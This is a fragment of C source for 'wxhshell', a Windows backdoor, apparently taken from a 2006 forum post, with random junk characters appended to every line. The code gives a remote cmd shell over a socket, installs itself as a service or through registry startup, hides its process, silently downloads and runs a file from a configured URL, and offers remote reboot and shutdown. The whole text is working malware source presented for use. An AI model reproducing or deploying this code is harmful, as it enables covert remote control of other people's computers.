  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s4T}Bs r  
  } l|/:Ot  
  else { <1~^C  
%"A_!<n@*`  
    switch(cmd[0]) { 3,aN8F1;C  
  y~<@x.  
  // 帮助 dv N<5~  
  case '?': { ;9uRO*H?T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~=y3Gd B3  
    break; !#?kWAU  
  } J0220 _  
  // 安装 z"F*\xa  
  case 'i': { =fyyqb 4  
    if(Install()) eR!G[Cw-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @=uN\) 1  
    else $1*3!}_0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gH:ArfC  
    break; uL?vG6% ^1  
    } 7]2 2"mc  
  // 卸载 d @rs3Q1z  
  case 'r': { t"s5\;IJ  
    if(Uninstall()) UU@fkk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8}BBOD  
    else PoD^`()FR{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '=cKU0 G#  
    break; K3p@$3hQ  
    } +3^NaY`Y  
  // 显示 wxhshell 所在路径 "2Op[~V  
  case 'p': { p/]s)uYp$  
    char svExeFile[MAX_PATH]; %"Db?  
    strcpy(svExeFile,"\n\r"); 2'{}<9  
      strcat(svExeFile,ExeFile); </E>tMW  
        send(wsh,svExeFile,strlen(svExeFile),0); ^abD !8  
    break; i</J@0}y  
    } &:#m&,tQ  
  // 重启 .]76!(fWZ  
  case 'b': { \3PE+$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cBEHH4U  
    if(Boot(REBOOT)) t;#Gmo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zX5G;,_  
    else { w+f=RHX"{  
    closesocket(wsh); uMFV% +I  
    ExitThread(0); E8/rZ~0O~  
    } ehOs9b  
    break; ^b53}f8H  
    } xFsmf<Vm  
  // 关机 $3\yf?m}q  
  case 'd': { F=&;Y@t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3q &k  
    if(Boot(SHUTDOWN)) %<}=xJf>1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m)f|:MM  
    else { ?y-s20Kd  
    closesocket(wsh); A 0#Y, 1  
    ExitThread(0); yr4ou  
    } MEU[%hty_  
    break; J_  V,XO  
    } zLek& s&-  
  // 获取shell C{Blqf3V0  
  case 's': { [b`6v`x  
    CmdShell(wsh); ')nnWlK  
    closesocket(wsh); (K!4Kp^m  
    ExitThread(0); SFO&=P:U  
    break; elbG\qXBp  
  } d=e{]MG(  
  // 退出 .C5@QKU  
  case 'x': { T"W9YpZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %ejeyc  
    CloseIt(wsh); 3Xdn62[&  
    break; R [9w  
    } exphe+b  
  // 离开 Kpg:yrc['  
  case 'q': { oBw}hH,hp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n>llSK  
    closesocket(wsh); +"L$ed(=nJ  
    WSACleanup(); "=A|K~b  
    exit(1); B| Q6!  
    break; rl|Q)A{  
        } ~t9Mh^gij  
  }  ? ICDIn  
  } },6*Y*?{  
J~dTVBx  
  // 提示信息 o>!JrH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N5\{yV21",  
} #Wx=v$"  
  } OROqT~6G  
ylkqhs&  
  return; #>q[oie1e  
} 4e/cqN 6  
sV'v* 1|  
// shell模块句柄 |#cAsf_{  
int CmdShell(SOCKET sock) 9cOx@c+/  
{ E$T(Qu<-  
STARTUPINFO si; A\C'dZ <N  
ZeroMemory(&si,sizeof(si)); 'bm:u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IHVMHOq}'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tw86:kYEz  
PROCESS_INFORMATION ProcessInfo; S.]MOB dt  
char cmdline[]="cmd"; )G4rJ~#@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ma_=-cD  
  return 0; bs:QG1*.  
} 2[BA( B  
uRGB/ju^E  
// 自身启动模式 ,TJ/3_lH  
int StartFromService(void) =kO@Gk?  
{ 5Jw"{V?Ak  
typedef struct fKYKW?g;)Z  
{ HPTHF  
  DWORD ExitStatus; "GLYyC  
  DWORD PebBaseAddress; \^m.dIPdO  
  DWORD AffinityMask; LJ l1v  
  DWORD BasePriority; =~$U^IsWA  
  ULONG UniqueProcessId; /h-6CR Ka  
  ULONG InheritedFromUniqueProcessId; Mz}i[|U\  
}   PROCESS_BASIC_INFORMATION; +_-Y`O!Q  
b_mWu@$  
PROCNTQSIP NtQueryInformationProcess; 2*YP"Ryh  
\6LcVik  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9,KVBO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O,]_ tp  
:H3(w|T/  
  HANDLE             hProcess; .m!s". ?[  
  PROCESS_BASIC_INFORMATION pbi; sZEgsrJh  
gDj_KKd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &@"w-M  
  if(NULL == hInst ) return 0; 1:YAn  
hy=u}^F.C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8L{$v~+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b_l.QKk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cUNGo%Y  
*G9 [j$  
  if (!NtQueryInformationProcess) return 0; HIrEv  
Hp*gv/0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Es~DHX  
  if(!hProcess) return 0; >&[3  
Q~h6J*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h^v9|~ZJ'7  
hOl=W |)v  
  CloseHandle(hProcess); !4L#$VG  
?.~]mvOR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bWUS9WT  
if(hProcess==NULL) return 0; sxt`0oE  
R;.d/U|av  
HMODULE hMod; 9g4QVo|  
char procName[255]; jvWI_Fto  
unsigned long cbNeeded; 7Qt2gf  
|9x%gUm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); < )Alb\Z  
.oEFX8  
  CloseHandle(hProcess); -t%L#1k  
CR.bMF}  
if(strstr(procName,"services")) return 1; // 以服务启动 `M,Nd'5&|  
xV?*!m$V%R  
  return 0; // 注册表启动 z6Fun  
} ]|;7R^o3|  
u8xk]:%  
// 主模块 o\:$V   
int StartWxhshell(LPSTR lpCmdLine) FE>3 D1\  
{ v'K % %z  
  SOCKET wsl; _>;&-e  
BOOL val=TRUE; z?I+u* rF6  
  int port=0; `)LIVi"(D  
  struct sockaddr_in door; /XjN%|  
vB=;_=^i 1  
  if(wscfg.ws_autoins) Install(); Bmmb  
::0aY ;D2  
port=atoi(lpCmdLine); G^ K*+  
AmgWj/>  
if(port<=0) port=wscfg.ws_port; m&,bC)}  
#!wsD7;  
  WSADATA data; 9N<*S'Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zLo;.X[Y  
KxGKA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p|b+I"M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vT&j{2U7XW  
  door.sin_family = AF_INET; ]DGGcUk7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EqVsxwa  
  door.sin_port = htons(port); C+T&O  
qjJ{+Rz2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $+0=GN  
closesocket(wsl); lGl[^ 0  
return 1; S_ZLTcq<1  
} Al=(sHc'  
ip<15;Z  
  if(listen(wsl,2) == INVALID_SOCKET) { _r~!O$2  
closesocket(wsl); G OH  
return 1; yi sF5`+  
} xGwTk  
  Wxhshell(wsl); poTl|y @  
  WSACleanup();  bkxk i@t  
?rky6  
return 0; ]Jja  
vU?b"n  
} GJ.kkTMT  
OiYNH~hv  
// 以NT服务方式启动 P\Ai|"=&]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~6\& y  
{ nMTLD  
DWORD   status = 0; \FIa,5k8  
  DWORD   specificError = 0xfffffff; Gv!BB=ir(  
^).WW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (s5<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >6*(}L9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?s1u#'aO  
  serviceStatus.dwWin32ExitCode     = 0; s*aH`M7^0  
  serviceStatus.dwServiceSpecificExitCode = 0; +Gk! t]dy  
  serviceStatus.dwCheckPoint       = 0; '2 w XV;`  
  serviceStatus.dwWaitHint       = 0; ,}eRnl\  
@^'G&%j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &G0l&8pa  
  if (hServiceStatusHandle==0) return; VfQMFb',o  
hTlnw[I  
status = GetLastError(); %~][?Y ><  
  if (status!=NO_ERROR) 3Gc ,I:\  
{ $o/0A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~gSwxGT7d  
    serviceStatus.dwCheckPoint       = 0; 'bZMh9|  
    serviceStatus.dwWaitHint       = 0; YgO aZqN  
    serviceStatus.dwWin32ExitCode     = status; pESB Il  
    serviceStatus.dwServiceSpecificExitCode = specificError; {E;2&d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w> Tyk#7lw  
    return; IXbdS9,>F  
  } IlcNT_ 5a8  
Pd)K^;em  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z\xiACIc  
  serviceStatus.dwCheckPoint       = 0; D?iy.Dg  
  serviceStatus.dwWaitHint       = 0; b*btkaVue  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2N L:\%wz  
} >{phyByI  
6T R8D\  
// 处理NT服务事件,比如:启动、停止 83{x"G3>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'LJ %.DJ  
{ qf_h b  
switch(fdwControl) *37LN  
{ "bHtf_  
case SERVICE_CONTROL_STOP: ~AEqfIx*^&  
  serviceStatus.dwWin32ExitCode = 0; 4w;r l(s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3~cS}N T  
  serviceStatus.dwCheckPoint   = 0; h5LJij J  
  serviceStatus.dwWaitHint     = 0; 4R K.Il*d  
  { zAKq7'_=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Ki0+(4  
  } p2pTs&}S  
  return; `E./p  
case SERVICE_CONTROL_PAUSE: Rel(bA-[N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LFk5rv'sM0  
  break; hEyX~f  
case SERVICE_CONTROL_CONTINUE: l-DGy#h+z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ir9Q##f  
  break; pb=jvK  
case SERVICE_CONTROL_INTERROGATE: <Cf7E  
  break; -_y~rx >  
}; t!J";l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O!#L#u53  
} \SYPu,ZT  
&Iv\jhq  
// 标准应用程序主函数 n;-x!Gs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) btUUZ"q<  
{ ""25ay  
E[SV*1)  
// 获取操作系统版本 4@/q_*3o  
OsIsNt=GetOsVer(); H B::0l<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sDzD 8as  
W _PM!>8`  
  // 从命令行安装 _4~ng#M*  
  if(strpbrk(lpCmdLine,"iI")) Install(); gp#bQ  
4f@havFIJ  
  // 下载执行文件 J]n7| L  
if(wscfg.ws_downexe) { u\Nw:Uu i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "'Q"(S  
  WinExec(wscfg.ws_filenam,SW_HIDE); kr/1Dsr4  
} {u(}ED#p  
x?k  
if(!OsIsNt) { A^T~@AO  
// 如果时win9x,隐藏进程并且设置为注册表启动 SX_kr^#  
HideProc(); <6d{k[7fz)  
StartWxhshell(lpCmdLine); +XU$GSw3(  
} xWC\954  
else 1jZDw~  
  if(StartFromService()) TS\A`{^T  
  // 以服务方式启动 !7O=<  
  StartServiceCtrlDispatcher(DispatchTable); yS:IRI.  
else J[<D/WIH  
  // 普通方式启动 ;55tf l  
  StartWxhshell(lpCmdLine); ?L<UOv7;t  
S7Iu?R_I  
return 0; C:tSCNH[  
}
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只看该作者 1 发表于: 2006-10-10
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